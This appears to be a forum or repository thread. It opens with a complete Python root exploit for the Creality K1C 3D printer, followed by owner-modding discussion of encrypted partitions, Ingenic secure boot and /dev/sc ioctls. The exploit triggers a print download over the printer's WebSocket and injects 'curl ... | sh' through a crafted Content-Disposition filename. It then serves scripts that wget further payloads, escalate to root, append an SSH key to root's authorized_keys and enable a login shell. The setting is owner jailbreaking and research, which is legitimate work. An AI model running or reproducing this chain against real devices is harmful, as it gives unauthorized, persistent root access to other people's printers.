Creality K1C 2025 Root Exploit

k1c-2025-exploit.py

import sys
import argparse
import threading
import json
import time
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlencode, quote

import websocket  # pip install websocket-client

PRINTER_PORT = 9999
SERVER_PORT = 4444

TIME = int(time.time())


class RequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.protocol_version = 'HTTP/1.0'

        if self.path.startswith("/exploit"):
            print(f"\n[!] Printer requested: {self.path}")

            # 1. Send 200 OK
            self.send_response(200)
            self.send_header('Content-Type', 'application/octet-stream')

            # 2. INJECT THE CRAFTED HEADER
            print(f"[!] Sending crafted Content-Disposition header")
            self.send_header('Content-Disposition', f'attachment; filename="{FILENAME}"')
            self.end_headers()

            # 3. Send dummy G-code content
            self.wfile.write(b"G28\n")
            print("[+] Payload sent! We should see a request for bootstrap.sh next....\n")
        elif self.path == "/bootstrap.sh":
            print("[+] Printer requested bootstrap.sh. Next up, privesc.py")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"""#!/bin/bash
wget http://{HOST_IP}:{SERVER_PORT}/privesc.py -O /tmp/privesc.py
chmod +x /tmp/privesc.py
udhcpc -f -n -i lo -s /tmp/privesc.py -q
            """.encode())
        elif self.path == "/privesc.py":
            print("[+] Printer requested privesc.py. Next up, S999persistence")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"""#!/usr/bin/python3  
import os
import subprocess
try:
    os.setuid(0)
    os.setgid(0)

    # Download S999persistence script to /etc/appetc/init.d/S999persistence
    subprocess.run(["wget", "http://{HOST_IP}:{SERVER_PORT}/S999persistence", "-O", "/etc/appetc/init.d/S999persistence"])
    subprocess.run(["chmod", "+x", "/etc/appetc/init.d/S999persistence"])
    subprocess.run(["sh", "/etc/appetc/init.d/S999persistence"])
except Exception as e:
    # Write to /usr/data/printer_data/logs/privesc_error
    with open('/usr/data/printer_data/logs/privesc_error', 'w') as f:
        f.write(str(e))
            """.encode())
        elif self.path == "/S999persistence":
            self.send_response(200)
            self.end_headers()
            # Note: placeholder key line; update as needed when serving this path
            self.wfile.write(f"""#!/bin/sh
[[ -d /root/.ssh ]] || mkdir -p /root/.ssh
echo '{PUBLIC_KEY}' >> /root/.ssh/authorized_keys
[[ -f /etc/dropbear/dropbear_ed25519_host_key ]] || dropbearkey -t ed25519 -f /etc/dropbear/dropbear_ed25519_host_key
[[ -f /etc/dropbear/dropbear_rsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
[[ -f /etc/dropbear/dropbear_ecdsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_ecdsa_host_key
sed -i 's#sbin/nologin#bin/sh#' /etc/passwd
""".encode())
            print("[!] Printer fetched the persistence script. We're finished!")
            print("[!] Now, wait 30 seconds and try SSHing to the printer.")
            sys.exit(0)


def start_server():
    # Listen on Port 80 for the download request
    server = HTTPServer(('0.0.0.0', SERVER_PORT), RequestHandler)
    print(f"[*] HTTP Server listening on port {SERVER_PORT}...")
    server.serve_forever()


def trigger_exploit():
    # Connect to the printer's specific Slicer port
    ws_url = f"ws://{PRINTER_IP}:{PRINTER_PORT}/"
    print(f"[*] Connecting to {ws_url} using protocol 'wsslicer'...")

    try:
        # CRITICAL: Must request the specific subprotocol
        ws = websocket.create_connection(ws_url, subprotocols=["wsslicer"])
        print("[+] WebSocket Connected!")

        # Construct the JSON command
        payload = {
            "method": "set",
            "params": {
                # This triggers print_proc -> httpchunk -> RCE
                "print": f"http://{HOST_IP}:{SERVER_PORT}/exploit-{TIME}",
                "printId": "1337"
            }
        }

        print(f"[*] Sending trigger: {json.dumps(payload)}")
        ws.send(json.dumps(payload))

        time.sleep(2)
        ws.close()

    except Exception as e:
        print(f"[-] WebSocket Connection Failed: {e}")
        raise e


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit server and trigger")
    parser.add_argument("--host-ip", dest="host_ip", required=True, help="IP of this machine hosting payloads")
    parser.add_argument("--printer-ip", dest="printer_ip", required=True, help="Target printer IP")
    parser.add_argument("--public-key", dest="public_key", required=True, help="Public RSA Key")
    args = parser.parse_args()

    # Override globals with CLI values and recompute dependent values
    HOST_IP = args.host_ip
    PRINTER_IP = args.printer_ip
    # Read the public key from the file
    PUBLIC_KEY = str(open(args.public_key).read())

    if not PUBLIC_KEY:
        print("[-] Public key file is empty. Exiting.")
        sys.exit(1)

    SHELL_COMMAND = f"curl http://{HOST_IP}:{SERVER_PORT}/bootstrap.sh | sh"
    FILENAME = quote(f"dest\";{SHELL_COMMAND};#exploit.gcode")

    # 1. Start the HTTP server to host the payload
    t = threading.Thread(target=start_server)
    t.daemon = True
    t.start()

    # 2. Wait a moment, then fire the WebSocket trigger
    time.sleep(1)
    trigger_exploit()

Updated earlier comment on u-Boot SPL decoding.

Don't touch

• encrypted binaries in /usr/apps/usr/bin/. These are verified by /bin/seed.sh, the system will halt in case of failure.

alchemistp.bin
mdns.bin
nexusp.bin
onyxp.bin
quintusp.bin
solusp.bin
thirteenthp.bin
vectorp.bin

• SquashFS partition and its encrypted headers (data in /dev/mmcblk0p1 partition) - it is verified by /bin/seed.sh, the system will halt in case of failure.
• sn_mac partition (/dev/mmcblk0p2) - it is verified by /bin/seed.sh, the system will halt in case of failure.
• /usr/data/permission file - it is verified by /bin/seed.sh to "unlock" root and creality account. If cmd_sc "freezes" - system will halt (don't put any radom file in /usr/data/permission)
• first 1MB of MMC (GPT and bootloader) - u-Boot SPL and u-Boot should be verified by Ingenic secure boot or SPL before they are started
• kernel and kernel2 - should be verified before it is started.

At least in some cases cmd_sc freezes (ioctl on /dev/sc stall) if encrypted data is modified (explicit halt is not required to brick the system).

It is not an extensive list. Keep Your eyes open 👁️ 👁️

So new mainboard they encrypted emmc?

Partially encrypted. I don't know how exactly X2000 secure boot works, but if I correctly understand pdf referred above - the chip has a bunch of one-time-programmable fuses used to turn on secure boot and on-chip memory to hold the key (not sure if it is possible to change it after initial programming).

I've checked cmd_sc binary and it simply uses /dev/sc device with custom ioctl to initialize hardware sc module

ioctl_(cs_fd, 0xC0047300, out_blk_size, signature_2k_buffer);

and then feed with data to decrypt:

result = ioctl_(sc_fd, 0xC0047301, in_data, out_data, data_size);

/dev/sc in turn is implemented in soc_security.ko module and this module uses undocumented registers block to load the hardware sc module with keys and data. Initialization procedure enables clocks for at least these hardware modules: ddr, aes, pdma, efuse, dtrng, hash.

I can't download full specs from Ingenic baidu, but it seems that sc driver uses some undocumented in publicly available pdfs (missed from memory map section) registers in blocks at 0xB3422000, 0xB3480000 and some others nearby.

AFAIK Ingenic uses OTP fuse for setting secure boot bit, then the integrated boot-rom checks SPL against NKU which is asymmetric RSA up to 2k bits.

Anyway to go further I need more detailed hardware description or at least full SVD file for this processor. But there is practically no chance to crack initial boot-rom spl verification, so we stuck to this spl+uBoot and obviously kernel image, but after boot the initial fs may be easily overrode with the first init script from /usr/apps/init.d

I've already built and deployed a web server alongside with modern glibc and run fluidd, next step will be complete overhaul with a custom clipper.

Thanks everyone for your findings, it helped a lot.